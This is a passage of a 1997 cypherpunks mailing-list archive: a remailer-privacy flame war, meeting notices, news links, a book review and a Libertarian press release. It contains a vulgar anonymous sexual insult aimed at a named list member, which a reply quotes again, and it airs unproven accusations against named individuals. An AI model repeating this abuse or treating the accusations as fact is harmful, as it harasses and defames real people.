person?  Remember, it's YOUR theory that there's only ONE such person, yet you've
accused three different people of being this individual.

> So come on anonasshole, what's your reason?

If you don't like my answer, then stop asking the question.  As one of the
former users of Jeff Burchell's now-defunct remailer, please explain why
you wanted him to turn over his logs to you and Belinda Bryan which, had they
existed, would have listed the identities of everyone who either sent or
received anonymous mail through that remailer.

> : The problem is, you haven't proven that 90% of
> :the stuff you *CLAIM* occurred even happened, let alone was the work of your
> :imaginary lone "spam-baiting/forging/child-molesting/cyber-stalking/libeling"
> :(did I miss anything?) so-called "anon asshole".
>    
>    
> Blah Blah Blah Blah Blah.  You still haven't posted proof of your claims.

They're YOUR claims, Gary. You're the one who keeps claiming that you're the
victim of "forgery", "libel", "spam baiting", etc.  You are the one that made
the unsubstantiated claim that a remailer user sent a harassing letter to an
unnamed "teenage girl" with a web page at DataBasix. You are the one who needs 
to prove them.
     
> :How about some proof of your wild charges, Gary?
>    
>  
> You're posting anonymously. You're lying about me.  Those are the charges.

I'm posting anonymously?  Well cry me a river.  Deal with it!  If that's your
charge, then it says more about you than it does about me.  If posting anonymously
upsets you, then that alone is reason enough to do it.

I'm lying about you?  How?  By asking you why you wanted to violate the
privacy of all of the users of Jeff Burchell's remailer?  It was Jeff's
post that revealed your attempt to violate the privacy of his users.  I only
referred to it.  How does that make me a liar?
 
> :" Only one of us even USES
> :remailers (or at least admits to it).  You, OTOH, have never had a civil word
> :to say about ANY anonymous poster.
>  
> You're the one who keeps ranting on and on that I'm agaist remailers and I say
> I'm not. You've yet to do anything other than prove that you really do want to
> shut them down.

Then why did you harass Jeff Burchell by demanding that he turn over his logs
to you that would have identified all of his remailer's users and effectively
shut it down by destroying confidence in its integrity.  Did you really think
that the remailer would have remained viable after it was revealed that its
operator turned over its logs to DataBasix or the Church of Scientology?  Or
were you hoping that your attempted end run on privacy would remain your own
dirty little secret?

> : If remailers were shut down, I'd lose my
> :ability to post.  What would you lose, Gary?
>  
> The same thing you'd lose.

How so?  You claim that you don't use remailers.

> : Is being able to identify your
> :critics and single them out for harassment really that important to you?
>  
> You mean like you single me out for harassment?

Your disinformation is getting old.  You've posted no evidence:  

  * No evidence that this so called "harassment" even occurred.  
  
  * No evidence that it originated from someone other than a DataBasix staffer
    fabricating evidence for a smear campaign.
  
  * No evidence that I did it.
  
  * No evidence, period.
  
Typical DataBasix big lie technique.  How about the evidence, BurnFUD?
HINT: Unsupported allegations that an UNNAMED user at DataBasix was "harassed"
by an UNDISCLOSED e-mail from an UNNAMED person using an UNNAMED remailer are 
not evidence.

I've posted a URL to my evidence, posted by a NON-anonymous, firsthand witness
to your abuse, that NAMED you, Belinda Bryan, and William J. McClatchie.  You are 
invited to do likewise, if you have any such evidence.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Fri, 12 Dec 1997 10:01:18 +0800
To: cypherpunks@toad.com
Subject: Teach if you know it.
Message-ID: <19971212014540.23977.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Who is the Organization of Cypherpunks-j and Cypherpunks-e ? 
Teach if you know it. 



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Fri, 12 Dec 1997 09:58:24 +0800
To: cypherpunks@toad.com
Subject: Teach if you know it.
Message-ID: <19971212014614.11294.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Who is the Organiz of Cypherpunks-j and Cypherpunks-e ? 
Teach if you know it. 



______________________________________________________
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Fri, 12 Dec 1997 04:25:02 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: A new first for Reno/Justice! Encryption not even on the agenda!
In-Reply-To: <v03007804b0b5ac0f689a@[204.254.21.37]>
Message-ID: <34903E3C.1491@hun.org>
MIME-Version: 1.0
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Declan McCullagh wrote:
> 
> I wrote about this yesterday, an hour after the summit ended, at:
> 
> http://cgi.pathfinder.com/netly/afternoon/0,1012,1626,00.html
> 
> Note Reno said that the OECD was where cryptodiscussions where happening.
> 
> -Declan

    firsts never mean much except that in this case, the
    conference could address other issues instead of 
    spending the total conference arguing the fallacies
    of encryption policies, or as you aptly stated:

       But she clearly intends to do
       more than collaborate: The
       joint principles call for the
       government "to continue
       providing the public and private
       sectors with standards for
       reliable and secure
       telecommunications and data
       processing technologies." Like
       the Clipper Chip, maybe? --By
       Declan McCullagh/Washington 

   or as I put in an earlier rant:

       is it not odd that the more the government tries to 
       abridge our free speech rights, the more they want to 
       confiscate our weapons?  

   encryption is a [modern*] weapon against government intrusion
   and tyranny.

       * modern in the sense of availability easily to the masses.

   BTW: today's Doonesbury is timeless. Coach (nee Captain) has 
        not lost it... attached for a limited use to a limited
        (no pun intended) audience under fair use -thanjs Gary.

   attila out...  one more time for justice in our lifetime


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sJnxCcePgIT9g9WoZBRvfWK44FFCT7Qhhu7tg2HMVk+DuUbRYyHvhdWM4kgV
0ES2YdA+E1py7FmRA5qrcDlcMFpDjaIyY/VxgbZGzhc5vQhwodCyxFYRAGxm
TdhSDxcBQAQHGKFpQYfBcfGo+cOrwqJGX6F0HXeNaeILGkZosElO8NQXRcpg
zlyh/y2kYR8Ki4kbinMrTTgCuOOjhNHaq21rh6ZN8eIRmnxfmzhZRWDkNjOq
9KH7q+WXDbTKgjjEHMTYIBwLDR097pPupleY5njmQgLMsK+5l+fQtspyEPj5
gJsvAf7RUHBZFIJUfWclRltyKhW0H0CQTFQDBscYMpUbaPhwzAOjYDNDXn1I
mAozlnlAznFSDFgeHBNEkMUGnyV1YlIpaCfdjjBNiFgSghzEIEZdnSDYgWVl
scIef2hxGHKLofCfj76g9oRiJHRRzjIkTjfge09SIGSUVH4QQZkfjKXJRTu4
CE+bcMYpZ5xomjnnnXjmqSecFe15Jw1+BirnLW16Fg6Ngi4mOmefijbq6KN4
vhmoIDvYGel7f/zpBKScKurAp6CGKuqopIJazBkffZEqAQkAADs=
--Boundary..4026.1071714303.multipart/mixed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Fri, 12 Dec 1997 12:11:00 +0800
To: cypherpunks-announce@toad.com
Subject: BAY AREA CYPHERPUNKS MEETING, SATURDAY 12/13, 1PM, MOUNTAIN VIEW
Message-ID: <3.0.3.32.19971211193357.0073ec98@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



The December Bay Area Cypherpunks Meeting will be held 12/13 at 1pm at
Printer's Ink on Castro Street in Mountain View.
Depending on the weather and the size of the crowd,
we'll either stay there or move to the Java Something across the street.

Many of the usual suspects have been at the IETF meeting this week,
so there isn't a precise agenda, but there's been a lot of activity
to discuss:
- Dan Bernstein Hearing Dec. 8th 
- PGP acquired by McAfee / NA
- OpenPGP standards committee - we've reached some probable conclusions
	on handling the CMR Additional Recipient Request,
	and there's an OpenPGP track at the IETF meeting.
- Any new hacks from Berkeley?
- Lucky Green's Latest Smartcard Tricks

Directions: Printer's Ink. is on Castro St. at the corner of Dana,
	about two blocks south of the Central Expressway.
	Parking lots are behind the stores.

	From 101, Take Moffett Blvd Exit to Mountain View
	Moffett becomes Castro St. as it crosses the Central Expressway.

	From El Camino, take Castro St. about two blocks north.

	By Caltrain, take the Mountain View Castro Street stop,
	about 1 hour south of San Francisco or 20 min north of San Jose.

	By ICBM or GPS, it's about 37.39395N 122.07791W.




				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Fri, 12 Dec 1997 09:49:41 +0800
Subject: Re: 'Off' the parking pigs! (fwd)
Message-ID: <199712120139.UAA05306@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 12/10/97 2:45 PM, Eric Seggebruch - NYC SE 
(eric.seggebruch@East.Sun.COM)  passed this wisdom:

>Actually it is possible for the government to get more than one shot at
>a defendant through the doctrine of dual sovereignty (state and
>federal).  That is how they got the police officers involved in the
>Rodney King incident.  When the state court (California) jury let them
>off, the feds prosecuted them for civil rights violations in federal
>court.

 TRhey also got the guys who murdered the civil rights workers in the 
60's, after being acquitted in state court of murder. They were convicted 
of the federal crime of violating the victims civil rights also. 


Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 "The 2nd amendment guarantees all the rest."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@dueprocess.com>
Date: Fri, 12 Dec 1997 10:06:04 +0800
To: cypherpunks@Algebra.COM
Subject: Split Decision in Browser Antitrust Case
In-Reply-To: <v0400273cb0b4ed62dd3b@[139.167.130.248]>
Message-ID: <3.0.5.32.19971211205907.00851560@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain

























The software superpower is told it can't force computer-makers to bundle
its browser. But it's spared those $1 million-a-day fines.

http://www.wired.com/news/news/business/story/9111.html
 
                       

************************************************************************
Lynne L. Harrison, Esq.          |    Destiny:
Poughkeepsie, New York           |    "A tyrant's authority for crime
mailto:lharrison@dueprocess.com  |    and a fool's excuse for failure."
http://www.dueprocess.com        |      - Ambrose Bierce
************************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@dueprocess.com>
Date: Fri, 12 Dec 1997 10:59:38 +0800
To: cypherpunks@Algebra.COM
Subject: Split Decision in Browser Antitrust Case
In-Reply-To: <348ff19a.47060515@128.2.84.191>
Message-ID: <3.0.5.32.19971211215303.007e4540@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



[Something happened to spacing in 1st msg, so for those who didn't scroll
down..]

The software superpower is told it can't force computer-makers to bundle
its browser. But it's spared those $1 million-a-day fines.

http://www.wired.com/news/news/business/story/9111.html


************************************************************************
Lynne L. Harrison, Esq.          |    Destiny:
Poughkeepsie, New York           |    "A tyrant's authority for crime
mailto:lharrison@dueprocess.com  |    and a fool's excuse for failure."
http://www.dueprocess.com        |      - Ambrose Bierce
************************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve@AZTech.Net
Date: Fri, 12 Dec 1997 13:59:11 +0800
To: cypherpunks-announce@toad.com
Subject: Phoenix Area cypherpunks CFIL (Call for Interest-level)
Message-ID: <199712120545.WAA05509@wyrm.AZTech.Net>
MIME-Version: 1.0
Content-Type: text/plain



I keep seeing periodic announcements for crypto-related gatherings in various
metro-areas in other parts of the country.  I haven't noticed any from Phoenix
(nor the rest of Arizona) so, I thought I'd take it apon myself to take a CFIL.
If (say) 10 people respond, I'll begin organizing a periodic get-together, along
the lines of what some other localities have already done.

Note to other organizers: I'd appreciate helpful hints on how to make things 
work.  I'm more of a techie than a socialite, and don't understand all of the 
niceties of getting people together, finding cheap laces to meat, and finding
people willing to get up in front of a crowd and talk, much less getting people
that don't know each other to talk to each other.

Prospective participants: Please respond with at least general coordinates for
your preferred meeting place, and your preferred days/dates/times for meeting.

I'd _really_ like to see this get off of the ground.  I _know_ that Phoenix/AZ
has enough high-tech/security-interested people to get things going.  I'll be 
really dissapointed in my home-state if I can't get at least 10 responses.

--
Steve

P.S. If there is strong objection to the distribution list that I am currently
using, I apologize.  The initial announcement was meant to reach as many people
interested in cryptography located in PHX/AZ as possible.  Future announcements
will probably be sent to a new majordomo list and other selected lists, as 
appropriate.  (List managers: If you don't appreciate my efforts, please let me
know.)

P.P.S.  If your MUA doesn't honor Reply-to: headers, please CC: 
sgibbo@amex-trs.com for a prompt response.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Fri, 12 Dec 1997 17:58:08 +0800
To: cypherpunks@cyberpass.net
Subject: htp.org (cypherpunks-e dist)
In-Reply-To: <66bh5f$l85$1@sparky.wolfe.net>
Message-ID: <199712120952.SAA25626@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



Apologies for error messages. htp.org has been down for a few days
due to ISP problems. It is running again.

 - Joi

--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 12 Dec 1997 20:01:34 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <fe11416309ea52e8d8697e6a887b9365@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Warning: if you fuck Tim Mayflower in the 
ass, a rabid tapeworm might bite your penis.

      ,,,
     (o-o)
 -ooO-(_)-Ooo- Tim Mayflower





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Trei, Peter" <ptrei@securitydynamics.com>
Date: Fri, 12 Dec 1997 22:25:49 +0800
To: "'pgp-users@joshua.rivertown.net>
Subject: How about a Bay Area meeting 1/17/98?
Message-ID: <6B5344C210C7D011835C0000F80127668B1593@exna01.securitydynamics.com>
MIME-Version: 1.0
Content-Type: text/plain



	Bill wrote:
	> The December Bay Area Cypherpunks Meeting will be held 12/13
at 1pm at
	> Printer's Ink on Castro Street in Mountain View.

It would be nice if the January meeting were held the 17th. This is the
day following
the RSA Data Security Conference, and a lot of out-of-towners will be in
the
area over that weekend.

Peter Trei






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: damaged justice <frogfarm@yakko.cs.wmich.edu>
Date: Sat, 13 Dec 1997 02:06:59 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Book Review - Coordinating the Internet
Message-ID: <199712121801.NAA08303@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text




-- forwarded message --
>From: danny@staff.cs.su.oz.au (Danny Yee)
Newsgroups: aus.books,usyd.net,rec.arts.books,alt.books.reviews,rec.arts.books.reviews,alt.culture.internet,misc.books.technical,alt.books.technical,aus.computers,aus.org.efa,comp.org.eff.talk,talk.politics.misc
Subject: Book Review - Coordinating the Internet
Followup-To: alt.culture.internet,talk.politics.misc
Date: 12 Dec 1997 11:37:48 GMT
Organization: Basser Dept of Computer Science, Uni of Sydney, Australia
Lines: 103
Approved: danny@cs.usyd.edu.au
Message-ID: <66r7mc$3kk$1@crux.cs.su.oz.au>
NNTP-Posting-Host: staff.cs.su.oz.au
X-Server-Date: 12 Dec 1997 11:37:48 GMT

http://www.anatomy.su.oz.au/danny/book-reviews/h/Coordinating_Internet.html

     title: Coordinating the Internet
    edited: Brian Kahin + James H. Keller
 publisher: The MIT Press 1997
     other: 491 pages, references, index

The superstructural politics and economics of the Internet (such issues
as censorship and taxation) have long held centre stage.  Increasingly,
however, the politics and economics of the low level operation of the
Internet have emerged from the shadows.  It is these -- the governance
and pricing of routing, addressing, and naming services -- which are
the subject of _Coordinating the Internet_.

The first four essays consider general issues in Internet governance.
Gillet and Kapor explain how 99% of the Internet operates without
centralised control and suggest that coordination of domain name
assignment and IP address allocation will eventually look "a lot more
like coordination of the rest of the Internet".  Gould provides a UK
perspective, suggesting the evolution of English constitutional law
and the supranational powers of the European Union as possible models
for the Internet.  Johnson and Post argue for decentralised governance,
highlighting serious problems with alternatives such as extending national
sovereignty, international treaties, or governance by international
organisations.  Rutkowski is less enthusiastic, claiming that "the
notion of Internet self-governance is in fact an illusion arising from
the relative unfamiliarity of many people associated with the Internet
with either its history or the surrounding legal and regulatory constructs
in which it exists".

The domain name system is probably the most visible area of contention at
the moment; it is the subject of seven of the papers in _Coordinating the
Internet_.  Five of them take different positions on the legal arguments
over its interaction with trademark law and the political arguments
over which organisations should be involved in its administration: the
United Nations, the United States Federal government, InterNIC, and the
Internet Assigned Numbers Authority just some of the contenders.  Taking a
step back, Andeen and King compare the DNS with telephony addressing in
World Zone 1 (the North American Numbering Plan) and Mitchell, Bradner
and Claffy argue that the obsession with the DNS is a red herring,
that issues of Internet governance and sustainability are far broader.

Moving on to less prominent but probably more fundamental issues, Rekhter,
Resnick and Bellovin write about the need to provide financial incentives
for route aggregation and efficient use of the address space, and suggest
a framework for property rights and contracts that will achieve this.
And Hoffman and Claffy evaluate the advantages and disadvantages of
metro-based addressing (based on geography rather than provider).

There are five papers on interconnection and settlement systems and
agreements between service providers.  Bailey and McKnight survey the
variety of interconnection agreements and argue for the introduction
of usage-sensitive pricing in conjunction with integrated services
with guaranteed quality of service.  Cawley, in contrast, extols "the
virtues (and appropriateness) of capacity-based pricing and flat-rate
tariffs", but suggests that many kinds of pricing models can coexist and
that "interconnection and settlement are best left to market forces".
Chinoy and Salo review what the transition from the NSFnet to commercial
backbones teaches us about oversight and scaling issues.  Farnon and
Huddle use theoretical efficiency modelling to argue that the present
"sender keeps all" settlement system is flawed.  And Mueller, Hui and
Cheng recount the history of the Hong Kong Internet Exchange.

The final two papers deal with quality of service evaluation, with
performance monitoring and statistics.  Almes presents an overview of
the IETF IP Provider Metrics effort, while Monk and Claffy suggest ways
of overcoming practical obstacles -- political and economic as well as
technological -- to adequate data acquisition.

_Coordinating the Internet_ is moderately technical (though it avoids
plumbing the complexities of protocols such as BGP) and on some issues
its presentation of so many different viewpoints may be more confusing
than clarifying.  But it is an accessible and informative collection --
and an important and timely one, given the increasing urgency of some
of the issues it debates.

--

Disclaimer: I requested and received a review copy of _Coordinating the
Internet_ from The MIT Press, but I have no stake, financial or otherwise,
in its success.

--

%T	Coordinating the Internet
%E	Brian Kahin
%E	James H. Keller
%I	The MIT Press
%C	Cambridge, Massachusetts
%D	1997
%O	paperback, references, index
%G	ISBN 0-262-61136-8
%P	xviii,491pp
%U	http://mitpress.mit.edu/book-home.tcl?isbn=0262611368
%K	Internet, politics, economics, law

12 December 1997

        ---------------------------------------------------
        Copyright (c) 1997 Danny Yee (danny@cs.usyd.edu.au)
        http://www.anatomy.usyd.edu.au/danny/book-reviews/
        ---------------------------------------------------

-- end of forwarded message --





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 13 Dec 1997 05:37:09 +0800
To: cypherpunks@Algebra.COM
Subject: Smartcard demo canceled
Message-ID: <Pine.SUN.3.91.971212132236.27798B-100000@netcom3>
MIME-Version: 1.0
Content-Type: text/plain



I won't be able to make it to tomorrow's meeting. Therefore, my smart 
card demo has been canceled.

Sorry about that,
-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 13 Dec 1997 03:01:35 +0800
To: cypherpunks@cyberpass.net
Subject: Only criminals don't support concealed-carry laws
Message-ID: <v04002700b0b7355c5b1f@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Mime-Version: 1.0
Date: Fri, 12 Dec 1997 08:18:04 -0800
To: Robert Hettinga <rah@shipwright.com>
From: Somebody
Subject: Only criminals don't support concealed-carry laws

>.>
> ===============================================
> NEWS FROM THE LIBERTARIAN PARTY
> 2600 Virginia Avenue, NW, Suite 100
> Washington DC 20037
> ===============================================
> For release: December 9, 1997
> ===============================================
> For additional information:
> George Getz, Deputy Director of Communications
> Phone: (202) 333-0008 Ext. 222
> E-Mail: 76214.3676@CompuServe.com
> ===============================================
>
>
> The evidence is clear: Only criminals don't
> support concealed-carry laws, say Libertarians
>
>         WASHINGTON, DC -- If you want to reduce crime, allow more
> people to carry more concealed guns, the Libertarian Party said today.
>
>         And that opinion is confirmed by a new Cato Institute study,
> which found that violent crime rates dropped dramatically in the 24
> states that have passed "concealed-carry" laws -- which allow ordinary
> citizens to carry concealed weapons.
>
>         "At this point, the only people who don't support
> concealed-carry laws are criminals," said Steve Dasbach, the party's
> national chairman.
>
>         In those 24 states, concealed-carry laws force local police to
> grant most citizens a concealed weapon permit after meeting certain
> qualifications. Usually, that includes getting fingerprinted, passing a
> criminal background check, and taking a gun safety course.
>
>         "For years, gun-control advocates claimed that laws allowing
> concealed weapons would lead to murder and mayhem," said Steve Dasbach,
> chairman of the Libertarian Party. "But the exact opposite is true:
> Concealed weapons actually save lives."
>
>         The Cato Institute study, timed to coincide with the 10-year
> anniversary of Florida's controversial concealed-carry law, found that
> in the 24 states with concealed-carry laws, murders dropped by 7.7%,
> rapes fell by 5.2%, robberies decreased by 2.2%, and aggravated
> assaults were reduced by 7%.
>
>         And in states where politicians continue to outlaw concealed
> weapons?
>
>         "There's blood in the streets," Dasbach said. "After accounting
> for all other factors, the study calculated that in 1992 alone, 1,414
> more people were murdered than would have been if concealed-carry laws
> were in effect."
>
>         And the carnage doesn't end there: An additional 4,177 people
> were raped, 11,898 more were robbed, and 60,363 more assaulted solely
> as a result of the increased criminal activity that apparently comes
> with concealed weapons bans, the study said.
>
>         "But who is surprised that violent street thugs prefer to prey
> on people who can't shoot back?" Dasbach asked. "By refusing to approve
> concealed-carry laws, politicians in other states have painted a target
> on the back of America's most vulnerable citizens."
>
>         The study also shoots a hole in two other gun-control myths,
> Dasbach said. One is that concealed-carry laws will resurrect the "Wild
> West," turning ordinary Americans into trigger-happy gunslingers.
>
>         "The study found that the number of concealed-carry
> permit-holders convicted of murder committed in public is exactly zero,
> and less serious crimes are extremely rare," he said. For example, only
> one in 5,000 Floridians have had their permits revoked for crimes
> involving a firearm.
>
>         The other myth: That accidental shootings will become
> commonplace.
>
>         "The number of accidental deaths increased so slightly (less
> than half of 1%) that implementing concealed-carry laws in every
> remaining state would result in less than one additional death per year
> - -- far less than the number of lives saved because of the reduced
> murder rate," said Dasbach.
>
>         "In other words, the real danger comes not from concealed
> weapons, but from the lack of them," he said.
>
>         Dasbach emphasized that although concealed-carry laws are a
> major step in the right direction, they're not the perfect solution for
> Libertarians.
>
>         "Right-to-carry laws are only a partial victory because
> Americans shouldn't have to seek government permission to exercise any
> Constitutional right. Imagine what would happen if politicians dared to
> require every journalist to pass a writing test to get a permit to
> cover city hall, or tried to force ministers to demonstrate a basic
> knowledge of religion before giving a sermon," he said.
>
>         But requiring a permit is better than the alternative, he said:
> Sentencing innocent people to death because they can't legally defend
> themselves.
>
>         "Denying terrified Americans the right to carry a gun is like
> putting them at the front of the line on Death Row," he said. "At they
> very least, politicians should have the decency to stop disarming
> America's most vulnerable citizens: Crime victims."
>
>
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
>
> iQCVAwUBNI4ttdCSe1KnQG7RAQGH+wP9E9V7Qz84YFPtuo/ccCLGoYfU5C11G7dD
> lr9oHNdd+JtkaBhoDB+NmDpO3lccNueq5Cl4ZxO8uJ67LjeMU4gvFhev8eMUr3Rs
> Cj2zuWTEa94Xnl4gR3BBKnlykyIIc5WCpN9ftsmA3zB4bP4rpVNfJgcKPW2BQs+U
> dMEaQprF4V8=
> =GkYU
> -----END PGP SIGNATURE-----
>
>
> The Libertarian Party
http://www.lp.org/
> 2600 Virginia Ave. NW, Suite 100                          voice:
202-333-0008
> Washington DC 20037                                         fax:
202-333-0072
>

__________________________________________________________________________
<somebody's.sig>


--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 13 Dec 1997 06:08:55 +0800
To: cypherpunks@toad.com
Subject: CDT VTW "aces" launch "bold" new Net-firm, by Brock Meeks
Message-ID: <Pine.GSO.3.95.971212133553.29644J-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



---

http://www.msnbc.com/news/129054.asp

Noted Net lobbyists form for-profit firm Two non-profit cyberspace
advocates now look to market Internet strategies

By Brock Meeks

WASHINGTON -- This is a story of defection. Two well-known
voices on cyberspace advocacy issues Jonah Seiger of the Center for
Democracy and Technology and Shabbir Safdar of Voters
Telecommunication Watch said Tuesday they're forming a
company specializing in "Internet campaign strategies."
Spin doctors for fun and profit. And along they way, they hope to
help make the Internet safe for Democracy.

[...]

The move is a dramatic shift for the two. In four years they have
been at the forefront of the most contentious issues in cyberspace.
They've created and honed their Internet strategies in the
bare-knuckle world of Washington politics with incessant digital
lobbying. No more. "We aren't going to be walking
around the halls of Congress lobbying on behalf of anybody,"
Seiger said.

IS ANYBODY HERE? The move is bold, even brash. Seiger and Safdar are
banking that the Internet is, first, a viable medium for "moving an issue"
as they call it and, second, that companies or organizations are going to
be willing to pony up money to mount an Internet campaign. On second
thought, maybe this is simply blind faith. 

If this defection is born of blind faith in a nascent medium, then
Seiger and Safdar are true disciples. Seizer's own currency
inside the Center for Democracy and Technology has been on a steady
rise; he routinely is quoted on cyberspace issues. Now he's
chucked all that for a start-up that depends on a medium that
hasn't yet proven it can sustain a commercially viable site.

[...]

Whether or not the sound bite plays at the bank and with a host of
potential clients, is another matter altogether. If Mindshare is
going to be successful, it'll have to have an ace up its
digital sleeve. It doesn't. It has two: Seiger and Safdar.

###





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: VaX#n8 <vax@linkdead.paranoia.com>
Date: Sat, 13 Dec 1997 04:18:43 +0800
To: cypherpunks@toad.com
Subject: free ACM publications
Message-ID: <199712121953.NAA06583@linkdead.paranoia.com>
MIME-Version: 1.0
Content-Type: text/plain



Cypherpunks readers may be interested in the ACM digital library,
which is open free to the public until the end of this year,
at which it becomes a rather expensive members-only luxury.
Many complete articles are available online in PDF format.
Reviews and abstracts will remain free.

A search for "encryption", "cryptanalysis" or "cryptography" in the
title and abstract reveals some interesting papers.

As usual, use but don't abuse;
I don't want to regret telling everyone about this,
particularly since I haven't started reading yet myself.

Information wants to be free:
http://www.acm.org/dl
--
VaX#n8, Junglist





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 13 Dec 1997 06:05:53 +0800
To: Anonymous <anon@anon.efga.org>
Subject: Re: your mail
In-Reply-To: <fe11416309ea52e8d8697e6a887b9365@anon.efga.org>
Message-ID: <Pine.A41.3.95.971212144923.22440A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 12 Dec 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Warning: if you fuck Tim Mayflower in the 
> ass, a rabid tapeworm might bite your penis.
> 
>       ,,,
>      (o-o)
>  -ooO-(_)-Ooo- Tim Mayflower
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 13 Dec 1997 07:25:56 +0800
To: cypherpunks@cyberpass.net
Subject: Could a Jim Bell do the same thing?
Message-ID: <Pine.GSO.3.95.971212151511.29644T-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



>From a news.com feature:	
	
        Sometimes, Daufenbach notes, a freshly arrested child
	pornographer facing a long sentence will agree to
	let his email account "hum" (continue running), with
	Customs picking up the traffic. A year ago,
	Daufenbach assumed the identity behind one such
	account. A molester and child pornographer
	(Daufenbach declined to reveal the person's name)
	began emailing Daufenbach's undercover account and
	then switched to real-time online chat, one of the
	biggest challenges for any cyberinvestigator. "A lot
	of people don't like doing it," says the Customs
	agent. "You have to think on your feet."

        Molesters often talk graphically about the children
	they abuse--and expect the same from their
	confidants. "If you get nervous and flustered,"
	notes Daufenbach, "you'll blow it."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 13 Dec 1997 07:28:46 +0800
To: cypherpunks@Algebra.COM
Subject: "24 hour cybercops"
Message-ID: <199712122321.PAA20875@netcom4.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message

From: "Henry Ayre" <henri@alaska.net>
Subject: SNET: Re: [CTRL] Janet Reno Promises Net Cops 24/7
Date: Fri, 12 Dec 1997 09:59:23 -0900


- ->  SearchNet's   SNETNEWS   Mailing List

It has been said that it takes a thief to catch one. Ergo, it must take a
